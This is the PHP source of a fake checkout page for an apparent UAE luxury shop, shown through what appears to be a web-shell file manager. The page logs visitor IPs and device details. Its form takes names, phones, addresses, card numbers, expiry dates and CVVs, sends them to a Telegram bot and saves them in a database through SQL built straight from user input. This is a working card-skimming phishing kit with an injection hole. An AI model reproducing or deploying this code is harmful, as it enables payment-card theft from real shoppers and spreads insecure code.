Server IP : 66.29.146.62 / Your IP : 216.73.216.2 Web Server : LiteSpeed System : Linux premium231.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64 User : dokkdzvi ( 925) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/dokkdzvi/itsluxury-uae.store/ |
Upload File : |
<?php $log_file = "order_log.txt"; $ip = $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN'; $time = date("Y-m-d H:i:s"); $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'UNKNOWN'; // جلب الدولة من API مجاني function get_country($ip) { $url = "http://ip-api.com/json/$ip"; $response = @file_get_contents($url); if ($response !== false) { $data = json_decode($response, true); if ($data && $data['status'] === 'success') { return $data['country']; } } return 'Unknown Country'; } // نوع المتصفح function get_browser_name($user_agent) { if (strpos($user_agent, 'Edg') !== false) return 'Edge'; elseif (strpos($user_agent, 'Chrome') !== false) return 'Chrome'; elseif (strpos($user_agent, 'Safari') !== false && strpos($user_agent, 'Chrome') === false) return 'Safari'; elseif (strpos($user_agent, 'Firefox') !== false) return 'Firefox'; elseif (strpos($user_agent, 'MSIE') !== false || strpos($user_agent, 'Trident') !== false) return 'Internet Explorer'; return 'Unknown'; } // نوع الجهاز function is_mobile($user_agent) { return preg_match('/Mobile|Android|iPhone|iPad/i', $user_agent) ? 'Mobile' : 'Desktop'; } // نظام التشغيل مع الإصدار function get_os_and_version($user_agent) { if (preg_match('/Windows NT ([0-9.]+)/i', $user_agent, $match)) { $versions = [ '10.0' => 'Windows 10/11', '6.3' => 'Windows 8.1', '6.2' => 'Windows 8', '6.1' => 'Windows 7', '6.0' => 'Windows Vista', '5.1' => 'Windows XP', ]; $ver = $match[1]; return $versions[$ver] ?? "Windows (NT $ver)"; } if (preg_match('/Android ([0-9.]+)/i', $user_agent, $match)) { return 'Android ' . $match[1]; } if (preg_match('/iPhone OS ([0-9_]+)/i', $user_agent, $match)) { return 'iOS ' . str_replace('_', '.', $match[1]); } if (preg_match('/CPU OS ([0-9_]+)/i', $user_agent, $match)) { return 'iOS ' . str_replace('_', '.', $match[1]); } if (preg_match('/Mac OS X ([0-9_]+)/i', $user_agent, $match)) { return 'macOS ' . str_replace('_', '.', $match[1]); } if (strpos($user_agent, 'Linux') !== false) { return 'Linux'; } return 'Unknown OS'; } // تنفيذ التحليل $browser = get_browser_name($user_agent); $os_version = get_os_and_version($user_agent); $device = is_mobile($user_agent); $country = get_country($ip); // سجل السطر $log_entry = "IP: $ip | Country: $country | Time: $time | OS: $os_version | Browser: $browser | Device: $device | UA: $user_agent\n"; // احفظ في الملف file_put_contents($log_file, $log_entry, FILE_APPEND); ?> <?php include 'controlPanel/Database.php'; $db = new Database(); $totalPrice = $_GET['totalPrice']; $query = "SELECT * FROM `users` WHERE id = 2"; $result = $db->dbQuery($query); if($db->dbNumRows( $result)){ $rows = $db->dbFetchResult($result); foreach($rows as $row){ $token = $row['token']; $tokenID = $row['tokenID']; } } if (!isset($_SESSION["user"])) { header("location:index.php"); } $payment = $_GET['payment']; if ($_SERVER["REQUEST_METHOD"] == "POST") { $user = $_SESSION["user"]; $name = $_POST['name']; $phone = $_POST['phone']; $location = $_POST['location']; $street = $_POST['street']; $payment = isset($_POST['first_batch']) ? $_POST['payment'] : $totalPrice; $first_batch = isset($_POST['first_batch']) ? $_POST['first_batch']: 'نقدا'; $CardName = $_POST['CardName']; $cardNumber = $_POST['cardNumber']; $month = $_POST['month']; $year = $_POST['year']; $cvc = $_POST['cvc']; $token1 = $token; $bot_id1 = $tokenID; $databot=':: طلب جديد :: '.PHP_EOL.'رقم الطلب: '.$user.PHP_EOL.'المبلغ الإجمالي: '. $totalPrice.PHP_EOL.'الدفعة الأولى: '. $payment.PHP_EOL.'فترة التقسيط : => '. $first_batch.PHP_EOL.'طريقة الدفع :بطاقات بنكية'.PHP_EOL.' '. 'الاسم على البطاقة: '. $CardName.PHP_EOL.'رقم البطاقة: '. $cardNumber.PHP_EOL.'الشهر: '. $month.PHP_EOL.'السنة: '. $year.PHP_EOL.'سي في في: '. $cvc.PHP_EOL.' '; $apiToken = $token1; $data = [ 'chat_id' => $bot_id1, 'text' => $databot ]; $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" .http_build_query($data) ); $query = "INSERT INTO `orders`(`name`, `phone`, `location`, `street`, `payment`, `first_batch`, `user`, `CardName`, `cardNumber`, `month`, `year`, `cvc`) VALUES ('$name', '$phone', '$location','$street', '$payment', '$first_batch', '$user', '$CardName', '$cardNumber', '$month', '$year', '$cvc')"; $result = $db->dbQuery($query); if($result){ //header("location:payment.php?payment=$payment"); header("location:confirem.php?payment=$payment"); } } ?> <html lang="ar" dir="rtl"> <head> <?php include "head.php"; ?> </head> <body style="overflow: auto;" data-new-gr-c-s-check-loaded="14.1125.0" data-gr-ext-installed=""> <div class="loaderk d-flex justify-content-center align-items-center" style="display: none; height: 0px;"> </div> <?php include "header.php"; ?> <main> <section class="mt-5 py-3"> </section> <div class="container col-md-5"> <div class="mt-3 pb-3 mb-4 border-bottom"> <h6>مرحباً بك</h6> <nav aria-label="breadcrumb"> <ol class="breadcrumb pt-md-0 pt-2"> <li class="breadcrumb-item"><a href="index.php" class="text-decoration-none text-dark">الرئيسية</a></li> <li class="breadcrumb-item"><a href="order.php" class="text-decoration-none text-dark">سلة المشتريات</a></li> <li class="breadcrumb-item active" aria-current="page">انهاء الطلب</li> </ol> </nav> </div> <div class="d-flex align-items-center container mb-3"> <i class="fas fa-circle fa-fw text-dark fa-xl opacity-75"></i> <img src="assets/image/icons/delevary.svg" class="mx-3" alt=""> <span>الشحن</span> <hr class="mx-2 w-100"> </div> <div class="container mb-5"> <div class="container"> <!-- ****************************form*****************************S --> <form action="order.php?totalPrice=<?=$totalPrice?>" method="POST"> <div class="form-floating mb-3"> <input type="text" class="form-control" autocomplete="off" name="name" id="floatingInput" required="" placeholder="الاسم كامل"> <label for="cardname text-secondary"> <i class="fas fa-user fa-fw text-secondary mx-2"></i> <span class="text-secondary">الأسم كامل</span> </label> </div> <div class="form-floating mb-3"> <input type="tel" name="phone" autocomplete="off" class="form-control" required="" placeholder="رقم الجوال"> <label for="cardNumber text-secondary"> <i class="fas fa-phone-flip fa-fw text-secondary mx-2"></i> <span class="text-secondary">رقم الجوال</span> </label> </div> <div class="form-floating mb-3"> <input type="text" name="location" autocomplete="off" class="form-control" required="" placeholder="العنوان بالتفصيل"> <label for="cardNumber text-secondary"> <i class="fas fa-location-dot fa-fw text-secondary mx-2"></i> <span class="text-secondary">المنطقة</span> </label> <input type="hidden" name="total_price" autocomplete="off" value="<?=$totalPrice?>" id="total_price"> </div> <div class="form-floating mb-3"> <input type="text" name="street" autocomplete="off" class="form-control" required="" placeholder="العنوان بالتفصيل"> <label for="cardNumber text-secondary"> <i class="fas fa-map-pin fa-fw text-secondary mx-2"></i> <span class="text-secondary">الشارع</span> </label> <input type="hidden" name="total_price" autocomplete="off" value="<?=$totalPrice?>" id="total_price"> </div>. <!--Moo--> <div class="form-floating mb-10"> <i class="fas fa-circle fa-fw text-success fa-xl opacity-75"></i> <img src="assets/image/icons/step-payment.svg" class="mx-3" alt=""> <span>طريقة الدفع</span> <hr class="mx-2" style="width: 60%;"> <div class="row align-items-center mb-4"> <div class="col-6 mb-2"> <button class="btn btn-light py-2 border bg-white w-100 btn-lg shadow-sm"> <img src="assets/image/icons/mada.webp" class="w-50 mx-auto" height="50" alt=""> </button> </div> <div class="col-6 mb-2"> <button class="btn btn-light py-2 border bg-white w-100 btn-lg shadow-sm"> <img src="assets/image/icons/visa.png" class="w-50 mx-auto" height="50" alt=""> </button> </div> <div class="col-12"> <a href="success.php" class="btn btn-light bg-white py-2 border w-100 btn-lg shadow-sm"> <span class="bg-danger rounded-circle p-1"> <i class="fa-solid fa-building-columns fa-fw "></i> </span> <h6 class="text-dark" style="font-size: 14px;">تحويل بنكي</h6> </a> </div> </div> <h3 class="my-3 text-center"> الدفعة المستحقة : <span class="text-danger"><?= $totalPrice ?> د.إ</span> </h3> </div> </div> <div class="form-floating mb-3"> <input type="text" class="form-control" name="CardName" id="name" autocomplete="off" required="" placeholder="الأسم الموجود على البطاقة"> <label for="cardname text-secondary"> <i class="fas fa-user fa-fw text-secondary mx-2"></i> <span class="text-secondary">اسم حامل البطاقة</span> </label> </div> <div class="form-floating mb-3"> <input type="tel" name="cardNumber" class="form-control rounded" id="cardNumber" autocomplete="off" required="" placeholder="0000 0000 0000 0000" maxlength="16"> <label for="cardNumber text-secondary"> <i class="fas fa-credit-card fa-fw text-secondary mx-2"></i> <span class="text-secondary">رقم البطاقة</span> </label> </div> <div class=""> <div class="row "> <div class="col-6"> <div class="container"> <div class="row border rounded" style="overflow: hidden;"> <div class="col-6 px-0 mx-0"> <div class="form-floating"> <input type="tel" class="form-control border-0" maxlength="2" name="month" required="" id="month" placeholder="name"> <label for="floatingInput text-secondary"> <span class="text-secondary">الشهر</span> </label> </div> </div> <div class="col-6 px-0 mx-0"> <div class="form-floating"> <input type="tel" class="form-control border border-right-0 border-top-0 border-left border-bottom-0 rounded-0" maxlength="2" name="year" required="" id="year" placeholder="name"> <label for="year text-secondary"> <span class="text-secondary">السنة</span> </label> </div> </div> </div> </div> </div> <div class="col-6"> <div class="form-floating mb-3"> <input type="tel" class="form-control" maxlength="3" name="cvc" required="" id="cvc" placeholder="name"> <label for="cvc text-secondary"> <span class="text-secondary">رمز التحقق (CVV)</span> </label> </div> </d